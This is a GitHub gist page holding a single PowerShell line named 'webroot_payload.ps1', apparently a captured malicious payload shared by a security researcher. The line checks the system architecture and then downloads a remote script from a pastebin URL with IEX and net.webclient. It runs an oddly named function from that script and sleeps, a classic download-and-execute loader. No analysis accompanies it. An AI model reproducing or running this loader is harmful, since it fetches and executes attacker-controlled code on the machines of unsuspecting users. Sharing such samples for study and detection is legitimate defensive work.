Skip to content

Instantly share code, notes, and snippets.

@KyleHanslovan

KyleHanslovan/webroot_payload.ps1 Secret

Created June 20, 2019 18:05
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KyleHanslovan/e261e5f357c4796d9f1d4ee2b0112218 to your computer and use it in GitHub Desktop.
Save KyleHanslovan/e261e5f357c4796d9f1d4ee2b0112218 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
webroot_payload.ps1
If($ENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){ Start-Process -FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -argument "IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/knCUArF5'));Invoke-PDWQVTCUTOXS;Start-Sleep -s 1000000;"}else{ IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/knCUArF5'));Invoke-PDWQVTCUTOXS;Start-Sleep -s 1000000; }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment